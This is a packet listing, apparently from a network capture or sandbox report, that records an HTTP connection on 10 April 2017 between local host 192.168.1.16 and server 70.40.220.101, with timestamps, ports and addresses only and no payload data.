Apr 10, 2017 10:41:39.759764910 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.760844946 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.760865927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.761023045 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.761023998 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.761040926 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.761056900 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.761431932 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.761449099 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.761562109 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.761590958 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.762042046 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.762151957 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.762419939 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.762566090 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.763015985 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.763039112 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.763046980 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.763159990 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.765383005 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.767059088 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.767082930 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.767282009 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.767306089 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.767657042 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.767765045 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.769038916 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.769063950 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.769076109 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.770271063 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.770293951 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.770462036 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.770492077 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.772562027 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.772602081 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.772847891 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.772867918 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.772936106 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.772950888 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.773137093 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.773725033 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.775314093 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.775337934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.775346994 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.775476933 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.776509047 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.776618958 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.777312994 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.777335882 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.777344942 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.777443886 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.779494047 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.779593945 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.781759024 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.781783104 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.781791925 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.781856060 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.783062935 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.783086061 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.783094883 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.783179998 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.784876108 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.784895897 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.784904957 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.784977913 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.785634995 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.785722971 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.787010908 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.787034035 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.787043095 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.787147999 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.787586927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.787606955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.787615061 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.787683964 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.788639069 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.788716078 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.789403915 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.789426088 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.789434910 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.789505005 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.790519953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.790543079 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.790551901 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.790708065 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.791709900 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.791732073 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.791740894 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.791837931 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.792304993 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.792327881 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.792340994 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.792443991 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.793046951 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.793477058 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.793777943 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.794162035 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.794184923 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.794203043 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.794869900 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.795444012 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.795468092 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.795480013 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.795767069 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.796025038 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.796046019 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.796055079 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.796117067 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.796819925 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.796838999 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.796849966 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.796946049 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.799838066 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.800134897 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.800308943 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.802330971 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.803484917 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.803508043 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.803517103 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.803842068 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.806425095 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.806761026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.806783915 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.806792974 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.806873083 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.807324886 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.807657957 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.809139013 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.809163094 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.809173107 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.809267998 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.809684038 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.809705973 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.809715033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.810054064 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.812227011 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.812330961 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.812932014 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.812985897 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.813002110 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.813031912 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.813518047 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.814454079 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.814490080 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.814510107 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.814594030 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.815100908 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.815121889 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.815130949 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.815207958 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.815907955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.815931082 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.815941095 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.816025019 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.817125082 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.817408085 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.817428112 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.817511082 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.817536116 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.817981005 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.817998886 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.818089008 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.818106890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.818434954 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.818451881 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.818542004 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.818562984 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.819013119 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.819031000 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.819364071 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.819381952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.819482088 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.819502115 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.819762945 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.819843054 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.820909977 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.821022987 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.821387053 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.821409941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.821418047 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.821835041 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.822043896 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.823054075 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.823097944 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.823111057 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.823286057 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.823302984 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.823406935 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.823425055 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.823846102 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.824049950 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.826698065 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.826822042 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.827302933 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.827321053 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.827330112 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.827424049 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.827564001 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.828357935 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.830905914 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.830930948 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.830955029 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.831044912 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.840151072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.840173960 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.840183020 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.840338945 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.942115068 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.942137957 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.942260027 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.945497990 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.945532084 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.945544958 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.945631027 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.945630074 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.945646048 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.945661068 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.948501110 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.948520899 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.948704958 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.948728085 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.949973106 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.949995995 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.950005054 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.950110912 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.950129986 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.950839043 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.950861931 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.950958967 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.950978041 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.951548100 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.952178955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.952200890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.952209949 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.952299118 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.952657938 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.952765942 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.953464031 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.953485966 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.953495026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.953599930 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.954184055 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.954205990 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.954215050 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.954315901 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.954334974 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.954847097 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.954869986 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.954984903 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.955003023 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.955018997 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.955039978 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.955667019 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.955796003 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.955813885 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.955949068 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.955967903 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956487894 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956499100 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.956507921 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956516981 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956547976 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956657887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956671953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956753969 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956769943 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956782103 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.956859112 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.956880093 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958434105 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958467960 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958479881 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958553076 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.958568096 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958585024 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958596945 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.958936930 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
